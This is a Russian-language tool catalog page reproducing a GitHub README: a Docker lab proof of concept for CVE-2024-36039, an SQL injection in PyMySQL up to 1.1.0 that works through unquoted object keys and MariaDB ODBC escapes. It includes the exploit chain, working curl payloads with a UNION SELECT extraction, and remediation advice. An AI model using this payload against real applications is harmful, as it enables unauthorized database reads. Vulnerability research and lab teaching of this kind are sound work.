Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-36039_PoC — PoC для CVE-2024-36039: Демонстрация SQL-инъекции через уязвимость сериализации Object-to-String в PyMySQL | Kitploit
Инструменты/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC для CVE-2024-36039: Демонстрация SQL-инъекции через уязвимость сериализации Object-to-String в PyMySQL

Репозиторий
135 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-36039: Инъекция объектов PyMySQL в SQL-инъекцию PoC

Docker Python MariaDB Vulnerability CVE

Полная, воспроизводимая лабораторная работа Proof of Concept (PoC) для CVE-2024-36039, демонстрирующая, как уязвимость внедрения объектов в PyMySQL (версии <= 1.1.0) может быть повышена до полной SQL-инъекции с использованием ODBC-escape-последовательностей MariaDB.


⚠️ ПРАВОВОЕ И ЭТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ (ТОЛЬКО ДЛЯ ЭТИЧЕСКОГО ИСПОЛЬЗОВАНИЯ)

  • Этот репозиторий предназначен только для академических и исследовательских целей.
  • Предоставленный код и методики НЕ ДОЛЖНЫ использоваться для вмешательства в работу любой системы, которая вам не принадлежит или на тестирование которой у вас нет явного письменного разрешения.
  • Автор/участники НЕ НЕСУТ ответственности за любые последствия или ущерб, вызванные неправильным использованием данной информации.
  • Используя этот репозиторий, вы соглашаетесь соблюдать данные условия.

  • 📖 1. Обзор уязвимости

    CVE-2024-36039 — это уязвимость в PyMySQL, клиентской библиотеке MySQL на чистом Python.

    Когда параметризованные запросы (например, execute("SELECT * FROM table WHERE data = %s", (my_dict,))) получают словарь Python, в котором ключи являются пользовательскими объектами, а не стандартными строками, PyMySQL использует метод __str__ или __repr__ объекта для его сериализации в SQL-строку.

    Ошибка: PyMySQL забывает экранировать (заключить в одинарные кавычки) результирующую строку ключа объекта. Это приводит к тому, что в SQL-выражение, отформатированное как словарь, вставляется неэкранированная, незакавыченная строка: {UnquotedObjectString: 'EscapedValue'}.


    🔬 2. Техническое описание: трюк с ODBC MariaDB

    Сама по себе вставка {UnquotedKey: 'Value'} в запрос MariaDB вызовет синтаксическую ошибку 1064, поскольку {} не является стандартным синтаксисом данных SQL.

    Однако MariaDB/MySQL поддерживает ODBC-escape-последовательности, которые используют фигурные скобки {}. Чтобы обойти синтаксическую ошибку, строка, следующая сразу за {, должна быть допустимым ключевым словом ODBC (например, d, t, ts, fn).

    Цепочка эксплуатации:

    1. Ключ объекта (точка внедрения): Мы создаём пользовательский объект, который возвращает fn/* через свой метод __repr__.
    2. Значение (полезная нагрузка): Мы устанавливаем значение словаря в */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
    3. Сериализация PyMySQL: PyMySQL форматирует этот словарь в SQL-запрос без кавычек для ключа:
      root@kitploit:~
      SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
      
    4. Магия парсинга MariaDB:
      • {fn : MariaDB распознаёт начало ODBC-скалярной функции.
      • /*: "'*/ : MariaDB обрабатывает это как блочный комментарий. Двоеточие : и открывающая кавычка ', сгенерированные PyMySQL, полностью игнорируются!
      • 1} : Завершает ODBC-функцию (фактически возвращая целое число 1).
      • UNION SELECT 1, flag, 3 FROM secret : Выполняется внедрённая полезная нагрузка SQL.
      • -- '"} : SQL-комментарий игнорирует остаток мусора ('}).

    Результат: Безупречная SQL-инъекция, обходящая как логику приложения, так и параметризацию PyMySQL!


    🛠️ 3. Инструкции по настройке лаборатории

    Предварительные требования

    • Docker
    • Docker Compose

    Установка

    Клонируйте этот репозиторий и запустите окружение:

    root@kitploit:~
    git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
    cd CVE-2024-36039-PoC
    docker-compose up -d --build
    

    (Подождите около 15–20 секунд для полной инициализации контейнера MariaDB).


    🎯 4. Этапы эксплуатации

    Шаг 1: Обычный запрос

    Отправьте стандартный JSON-запрос. Бэкенд преобразует ключ JSON в объект CustomKey.

    root@kitploit:~
    curl -X POST http://localhost:9669/search \
         -H "Content-Type: application/json" \
         -d '{"yamato": "Any_value"}'
    

    Ответ: Вы получите синтаксическую ошибку SQL, указывающую, что {yamato: "'Any_value'"} не является допустимым SQL, что подтверждает точку внедрения.

    Шаг 2: Эксплойт (извлечение флага)

    Внедрите полезную нагрузку ODBC-escape-последовательности, чтобы обойти синтаксическую ошибку и извлечь скрытый флаг из таблицы secret.

    root@kitploit:~
    curl -X POST http://localhost:9669/search \
         -H "Content-Type: application/json" \
         -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
    

    Ответ (PWNED!):

    root@kitploit:~
    {
      "data":[
        {
          "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
          "id": 1,
          "log_data": "3"
        }
      ],
      "status": "success"
    }
    

    🛡️ 5. Исправление

    Для устранения этой уязвимости обновите PyMySQL до версии 1.1.1 или выше.

    В исправленных версиях разработчики гарантируют, что все ключи словарей, независимо от их типа, правильно экранируются и заключаются в кавычки перед вставкой в SQL-выражение.

    root@kitploit:~
    pip install --upgrade PyMySQL
    

    📚 6. Авторство и ссылки

    • CVE-2024-36039 Advisory: NVD - CVE-2024-36039
    • Патч безопасности PyMySQL: PyMySQL GitHub Release v1.1.1
    • ODBC-escape-последовательности MariaDB: Документация MariaDB
    • Вдохновение: Эта лабораторная среда была создана на основе современных методов веб-эксплуатации, связанных с ошибками сериализации объектов в строки.

    Отказ от ответственности: Этот репозиторий создан исключительно для образовательных и исследовательских целей. Не используйте эти методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

    © 2026 от zenniskayy. Создано для более безопасного интернета.

    Скачать инструмент